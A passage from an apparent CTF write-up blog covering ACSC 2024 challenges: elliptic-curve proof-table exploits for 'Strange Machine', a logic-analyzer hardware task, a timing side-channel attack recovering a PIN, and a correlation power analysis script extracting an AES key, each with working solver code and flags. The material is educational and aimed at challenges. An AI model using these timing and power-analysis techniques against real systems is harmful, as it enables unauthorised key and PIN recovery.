inp([1, a, b, quotient, result])
def MUL(a, b, quotient, result):
inp([2, a, b, quotient, result])
def double_setting(x1, y1, x2, y2):
x_sq = x1 * x1 % p
x_sq_3 = x_sq * 3 % p
y_2 = y1 * 2 % p
y_2_inv = ZZ(pow(y_2, -1, p))
lam = x_sq_3 * y_2_inv % p
MUL_auto(x1, x1)
MUL_auto(x_sq, 3)
MUL_auto(y1, 2)
MUL_auto(y_2, y_2_inv)
MUL_auto(x_sq_3, y_2_inv)
return lam
def ndouble_setting(x1, y1, x2, y2):
y_diff = (y2 - y1) % p
x_diff = (x2 - x1) % p
x_diff_inv = ZZ(pow(x_diff, -1, p))
lam = y_diff * x_diff_inv % p
SUB_auto(y2, y1)
SUB_auto(x2, x1)
MUL_auto(x_diff, x_diff_inv)
MUL_auto(y_diff, x_diff_inv)
return lam
def add_setting(x1, y1, x2, y2, fix = 0):
if x1 == x2 and y1 == y2:
lam = double_setting(x1, y1, x2, y2)
else:
lam = ndouble_setting(x1, y1, x2, y2)
lam_sq = lam * lam % p
lam_sq_minus_x1 = (lam_sq - x1) % p
x_final = (lam_sq_minus_x1 - x2) % p
x1_minus_x_final = (x1 - x_final) % p
lam_mul_x1_minus_x_final = (lam * x1_minus_x_final + fix * bn254 * 2^256) % p
MUL_auto(lam, lam)
SUB_auto(lam_sq, x1)
SUB_auto(lam_sq_minus_x1, x2)
SUB_auto(x1, x_final)
MUL_auto(lam, x1_minus_x_final, fix)
SUB_auto(lam_mul_x1_minus_x_final, y1)
def add_start(x1, y1, x2, y2, fix = 0):
add_setting(x1, y1, x2, y2, fix)
inp([3, x1, y1, x2, y2])
if x1 == x2 and y1 == y2:
x_sq = x1 * x1 % p
x_sq_3 = x_sq * 3 % p
y_2 = y1 * 2 % p
y_2_inv = ZZ(pow(y_2, -1, p))
lam = x_sq_3 * y_2_inv % p
inp([lam, x_sq, x_sq_3, y_2, y_2_inv])
else:
y_diff = (y2 - y1) % p
x_diff = (x2 - x1) % p
x_diff_inv = ZZ(pow(x_diff, -1, p))
lam = y_diff * x_diff_inv % p
inp([lam, y_diff, x_diff, x_diff_inv])
return lam
def add_auto(x1, y1, x2, y2, fix = 0):
lam = add_start(x1, y1, x2, y2, fix)
lam_sq = lam * lam % p
lam_sq_minus_x1 = (lam_sq - x1) % p
x_final = (lam_sq_minus_x1 - x2) % p
x1_minus_x_final = (x1 - x_final) % p
lam_mul_x1_minus_x_final = (lam * x1_minus_x_final + fix * bn254 * 2^256) % p
y_final = (lam_mul_x1_minus_x_final - y1) % p
inp([lam_sq, lam_sq_minus_x1, x_final, x1_minus_x_final, lam_mul_x1_minus_x_final, y_final])
return (x_final, y_final)
fix = 1
diff = bn254 * 2^256 * fix % p
y = pow(-2 * diff, -1, p) * (diff^2 + 7)
x = (y^2 - 7).nth_root(3)
assert x ^ 3 + 7 == y ^ 2
assert x ^ 3 == (y + diff) ^ 2
C = EllipticCurve(GF(p), [0, 7])
G4 = C(x, y)
G = G4 * ZZ(pow(4, -1, C.order()))
assert G * 4 == G4
print("calc G done")
x_start, y_start = ZZ(G[0]), ZZ(G[1])
inp([x_start, y_start])
G2 = add_auto(x_start, y_start, x_start, y_start)
P = add_auto(G2[0], G2[1], G2[0], G2[1], fix = fix)
Px, Py = P
assert (Py^2 - Px^3) % p == 0
print("setting P done")
target = int.from_bytes(hashlib.sha256(str(x_start).encode() + b"#" + str(y_start).encode()).digest(), "big") % p
target_t = 1 / GF(p)(target).nth_root(2)
P_t = Px * pow(Py, -1, p)
target_n = ZZ(target_t / P_t)
print("target_n.nbits()", target_n.nbits())
Ps = [P]
from tqdm import trange
for i in trange(256):
P_prev = Ps[-1]
Ps.append(add_auto(P_prev[0], P_prev[1], P_prev[0], P_prev[1]))
T = P
target_n -= 1
for i in trange(256):
if target_n & 1:
T = add_auto(T[0], T[1], Ps[i][0], Ps[i][1])
target_n >>= 1
r.sendline(b'4')
assert r.recvline() == b'PART 1 SOLVED!\n'
r.interactive()
r.close()
Strange Machine, part2
#!/usr/bin/sage
import hashlib
def solve_part1():
...
def solve_part2():
...
solve_part1()
print("PART 1 SOLVED!")
solve_part2()
print("PART 2 SOLVED!")
flag = open("flag.txt", "r").read()
print(flag)
To obtain the flag, both parts of the problem must be successfully solved.
def solve_part2():
ADD_TABLE = set() # contains (a, b, c) such that a + b == c (mod p)
MUL_TABLE = set() # contains (a, b, c) such that a * b == c (mod p)
# Curve25519
p = (1 << 255) - 19
E = EllipticCurve(GF(p), [0, 486662, 0, 1, 0])
G = E(GF(p)(9), GF(p)(43114425171068552920764898935933967039370386198203806730763910166200978582548))
# Commit a set of NUM_POINTS points in Curve25519
NUM_POINTS = 165
commit = bytes.fromhex(input().strip())
assert len(commit) == 32 * NUM_POINTS
# this is the target point on Curve25519
target = int.from_bytes(hashlib.sha256(commit).digest(), "big") * G
# Add tuples to ADD_TABLE and MUL_TABLE by submitting proofs
count = 0
while True:
count += 1
assert count < 20000
whi = int(input())
if whi == 1 or whi == 2:
a = int(input())
b = int(input())
quotient = int(input())
result = int(input())
assert 0 <= a < (1 << 256)
assert 0 <= b < (1 << 256)
assert 0 <= quotient < (1 << 256)
assert 0 <= result < (1 << 256)
if whi == 1:
assert (a + b - (quotient * p + result)) % (1 << 512) == 0
ADD_TABLE.add((a, b, result))
if whi == 2:
assert (a * b - (quotient * p + result)) % (1 << 512) == 0
MUL_TABLE.add((a, b, result))
if whi == 3:
break
# submit a bitmask corresponding to a subset
# the subset sum of the points you committed before must equal to the target point
bmask = int(input())
assert 0 <= bmask < (1 << NUM_POINTS)
tot = 0 * G
for i in range(NUM_POINTS):
if ((bmask >> i) & 1) == 0: # the bitmask doesn't contain the i'th point, so skip
continue
# the bitmask contains the i'th point
# decompress the 32 bytes, with proof, to obtain a point on Curve25519
x = int(input())
y = int(input())
top_value = int(input())
x_sq = int(input())
x_cube = int(input())
x_sq_486662 = int(input())
sum1 = int(input())
sum2 = int(input())
# x_sum is the x-coordinate encoded in the 32 byte compressed format
x_sum = 0
for j in range(32):
x_sum += commit[i * 32 + j] * (256 ** j)
x_sum &= ((1 << 255) - 1)
# bit is the parity of the y-coordinate encoded in the 32 byte compressed format
bit = (commit[i * 32 + 31] >> 7) & 1
assert x == x_sum # check x matches the encoded x-coordinate
assert 0 <= top_value < (1 << 255)
assert y == top_value * 2 + bit # check bit matches the parity of y
assert (x, x, x_sq) in MUL_TABLE # check x_sq = x^2
assert (x, x_sq, x_cube) in MUL_TABLE # check x_cube = x^3
assert (x_sq, 486662, x_sq_486662) in MUL_TABLE # check x_sq_486662 = 486662 * x^2
assert (x_cube, x_sq_486662, sum1) in ADD_TABLE # check sum1 = x^3 + 486662 * x^2
assert (sum1, x, sum2) in ADD_TABLE # check sum2 = x^3 + 486662 * x^2 + x
assert (y, y, sum2) in MUL_TABLE # check y^2 = x^3 + 486662 * x^2 + x, so (x, y) is in Curve25519
recovered_point = E(GF(p)(x), GF(p)(y))
tot += recovered_point # add the recovered point to the subset sum
assert tot == target # assert the subset sum matches the target point
- Initial initialization phase:
SUB_TABLE: A set where a - b = cMUL_TABLE: A set where a * b = c- Possible to initialize less than 20,000 times using whi
- If 1,
a - b + p == quotient * p + result mod 1<<512is - added toSUB_TABLE - If 2,
a * b == quotient * p + result mod 1<<512is added toMUL_TABLE - Breaks on 3
- Curve25519:
- p = 2^255 - 19
- E = Elliptic_curve(GF(p), [486662, 1])
- G = E(9, ...)
NUM_POINTS= 165commit = bytes.fromhex(input().strip())len(commit) == 32 * NUM_POINTS- target = int.from_bytes(hashlib.sha256(commit).digest(), "big") * G
- This is the current goal
- bmask = int(input())
- A bitmask to be used later, less than 2^165
- Loop through
NUM_POINTS(165 times):- Continue if bitmask is 0
- Input x, y, top_value, x_sq, x_cube, x_sq_486662, sum1, sum2
- Decompress coordinates: x_sum, bit = commit[i * 32: i * 32 + 32]
- Assertions:
x == x_sumy == top_value * _sage_const_2 + bit- Verifying
ywithbit
- Verifying
(x, x, x_sq) in MUL(x, x_sq, x_cube) in MUL(x_sq, _sage_const_486662, x_sq_486662) in MUL(x_cube, x_sq_486662, sum1) in ADD(sum1, x, sum2) in ADD(y, y, sum2) in MUL
recovered_point = E(GF(p)(x), GF(p)(y))tot += recovered_point
assert tot == target
The maximum values for a and b in the ADD_TABLE and MUL_TABLE are 2^256 - 1,
so they can be greater than p(=2^255 - 19).
This allows y to be inputted such that it varies modulo p, but keeps the same parity.
Care must be taken with the assert (y, y, sum2) in MUL_TABLE, to ensure the quotient does not exceed 2^256.
I addressed this issue by selecting a commit that avoids this problem.
exploit code
from pwn import *
import hashlib
import os
r = process(["sage", "task.sage"]) # doesn't work for original task.sage, since this is solver for part2 only
#r = remote("strange-machine.chal.2024.ctf.acsc.asia", "17777")
p = (1 << 255) - 19
E = EllipticCurve(GF(p), [0, 486662, 0, 1, 0])
G = E(GF(p)(9), GF(p)(43114425171068552920764898935933967039370386198203806730763910166200978582548))
NUM_POINTS = 165
def inp(nums):
for num in nums:
r.sendline(str(num).encode())
def ADD_auto(a, b):
k = a + b
ADD(a, b, k // p, k % p)
def MUL_auto(a, b):
k = a * b
MUL(a, b, k // p, k % p)
def ADD(a, b, quotient, result):
inp([1, a, b, quotient, result])
def MUL(a, b, quotient, result):
inp([2, a, b, quotient, result])
def setting_point(x, y):
x_sq = x * x % p
x_cube = x * x_sq % p
x_sq_486662 = x_sq * 486662 % p
sum1 = (x_cube + x_sq_486662) % p
sum2 = (sum1 + x) % p
assert y * y % p == sum2
MUL_auto(x, x)
MUL_auto(x, x_sq)
MUL_auto(x_sq, 486662)
ADD_auto(x_cube, x_sq_486662)
ADD_auto(sum1, x)
#print(RR(y*y//p / 2^256))
MUL_auto(y, y)
def setting_nG(n, bit):
P = n * G
x, y = ZZ(P[0]), ZZ(P[1])
if y & 1 != bit:
y += p
assert n * G == E(GF(p)(x), GF(p)(y))
setting_point(x, y)
return (x, y)
def commit_nG(n):
P = n * G
x = int((n * G)[0])
bit = (min(int((n * G)[1]), int((-n * G)[1])) + p) & 1
return int(x | (bit << 255)).to_bytes(32, 'little'), bit
# build commit
bits = []
commit_base = b''
NUM_POINTS_REAL = 162
for n in [3 ^ i for i in range(NUM_POINTS_REAL)]:
comm, bit = commit_nG(n)
bits.append(bit)
commit_base += comm
n = (3 ^ NUM_POINTS_REAL - 1) // 2
P = n * G
x = int((n * G)[0])
bit = int((n * G)[1]) & 1
comm, bit = int(x | (bit << 255)).to_bytes(32, 'little'), bit
bits.append(bit)
commit_base += comm
while True:
check = True
commit = commit_base + b'\x1f\xfa7\x0fA;\xdb\r\xf8\xff\xa5\xf6E\xd0\xd5\x10\x92\xa9\xcc\x99\x1ftu\xb7\x06\xaa\xd9mnF\x88 \xf7\xf6\x05\xf0\xa0\xffR\xaf\x14\xa0\x84G\xb0\xdc\xd59\x93Q\x05q]\xb6\x9a\xebai\xc4\x91V\x00C\xb1'#os.urandom(32 * (NUM_POINTS - NUM_POINTS_REAL - 1))
target_n = int.from_bytes(hashlib.sha256(commit).digest(), "big")
back = target_n
ans = (3 ^ NUM_POINTS_REAL - 1) // 2
for i in range(NUM_POINTS_REAL):
x = target_n % 3 - 1
if x:
y = ZZ((x * 3^i * G)[1])
ans += x * 3^i
if y & 1 != bits[i]:
y += p
if y * y > (p << 256):
#print(i)
check = False
break
target_n //= 3
assert back == ans
if check:
#print(commit[-32 * (NUM_POINTS - NUM_POINTS_REAL - 1):])
break
r.sendline(commit.hex().encode())
target_n = int.from_bytes(hashlib.sha256(commit).digest(), "big")
top_values = []
points = []
bitmask = 0
for i in range(NUM_POINTS_REAL):
x = target_n % 3 - 1
if x:
bitmask |= 1 << i
x, y = setting_nG(x * 3^i, bits[i])
points.append((x, y))
top_values.append(y // 2)
else:
points.append((0, 0))
top_values.append(0)
target_n //= 3
bitmask |= 1 << NUM_POINTS_REAL
x, y = setting_nG((3 ^ NUM_POINTS_REAL - 1) // 2, bits[-1])
points.append((x, y))
top_values.append(y // 2)
inp([3, bitmask])
for i in range(NUM_POINTS):
if (bitmask >> i) & 1 == 0:
continue
x, y = points[i]
P = E(GF(p)(x), GF(p)(y))
top_value = top_values[i]
x_sq = x^2 % p
x_cube = x^3 % p
x_sq_486662 = x_sq * 486662 % p
sum1 = (x_cube + x_sq_486662) % p
sum2 = (sum1 + x) % p
inp([x, y, top_value, x_sq, x_cube, x_sq_486662, sum1, sum2])
print(int.from_bytes(hashlib.sha256(commit).digest(), "big") * G)
r.interactive()
hardware
An4lyz3_1t
Open the specified file using Saleae Logic 2 software.
Then, add an Async Serial analyzer, setting the baud rate to 57600Hz with Even parity.
Following these steps will allow you to retrieve the flag: ACSC{b4by4n4lyz3r_548e8c80e}.
Vault
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int result; // eax
int i; // [rsp+8h] [rbp-8h]
printart(argc, argv, envp);
printf((unsigned int)"Enter your PIN: ", (_DWORD)argv, v3);
fflush(stdout);
if ( (unsigned int)read(0LL, input_1, 10LL) != 10 )
return puts("Access Denied\n It didn't take me any time to verify that it's not the pin");
delay();
for ( i = 0; i <= 9; ++i )
{
if ( input_1[i] != (a02462837616402[175 * i] ^ (i + 1)) )
{
flag_0 = 0;
return puts("Access Denied\n It didn't take me any time to verify that it's not the pin");
}
delay();
}
result = flag_0;
if ( flag_0 )
return printflag(input_1);
return result;
}__int64 delay()
{
return usleep(100000LL);
}
chall takes a 10-byte input and sequentially compares it from the first byte.
If a mismatch is found, it exits the loop immediately.
Each iteration of the loop includes a 0.1sec delay,
so the total time consumed varies if the continuous matching characters from the beginning are different.
This implies that by sequentially changing each character from the first and measuring the time taken,
it is possible to deduce the correct PIN number by identifying at which character the time delay increases.
exploit code
from pwn import *
import time
from tqdm import trange
r = remote("vault.chal.2024.ctf.acsc.asia", "9999")
def check_time(x):
assert len(x) <= 10
x = x + "0" * (10 - len(x))
r.sendlineafter(b"$ ", b"./chall")
r.sendlineafter(b"PIN: ", x.encode())
st = time.time()
r.recvline()
return time.time() - st
ans = ""
for i in range(10):
times = [0] * 10
for digit in trange(10):
times[digit] = check_time(ans + str(digit))
digit = times.index(max(times))
ans += str(digit)
print(ans)
r.sendlineafter(b"$ ", b"./chall")
r.sendlineafter(b"PIN: ", ans.encode())
r.interactive()
r.close()
# PIN: 8574219362
# ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}
PWR_Tr4ce
I was able to solve the problem by referring to the link.
Simply put, the essence is to XOR the plaintext with candidate keys, pass this through the S-box, and then analyze the correlation between the number of output bits from the S-box and the trace.
exploit code
import numpy as np
from tqdm import trange
sbox=(
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)
def intermediate(pt, keyguess):
return bin(sbox[pt ^ keyguess]).count("1")
traces = np.load("traces.npy")
pt = np.load("textins.npy")
numtraces = np.shape(traces)[0]
numpoint = np.shape(traces)[1]
meant = np.mean(traces, axis=0)
tdiffs = [traces[tnum] - meant for tnum in range(numtraces)]
key = []
for bnum in trange(16):
maxcpa = [0] * 256
for kguess in range(0, 256):
hyp = [intermediate(pt[tnum][bnum], kguess) for tnum in range(numtraces)]
meanh = np.mean(hyp)
hdiffs = [hyp[tnum] - meanh for tnum in range(numtraces)]
sumnum = np.sum(
[hdiffs[tnum] * tdiffs[tnum] for tnum in range(numtraces)], axis=0
)
sumden1 = np.sum(
[hdiffs[tnum] * hdiffs[tnum] for tnum in range(numtraces)], axis=0
)
sumden2 = np.sum(
[tdiffs[tnum] * tdiffs[tnum] for tnum in range(numtraces)], axis=0
)
maxcpa[kguess] = max(abs(sumnum / np.sqrt(sumden1 * sumden2)))
key.append(np.argmax(maxcpa))
key = bytes(key)
print(key)
'CTF > writeup-en' 카테고리의 다른 글
| Blackhat MEA CTF Quals 2024 - SaqrSign (0) | 2024.09.07 |
|---|---|
| CODEGATE 2024 Quals writeup - Crypto+α (0) | 2024.06.04 |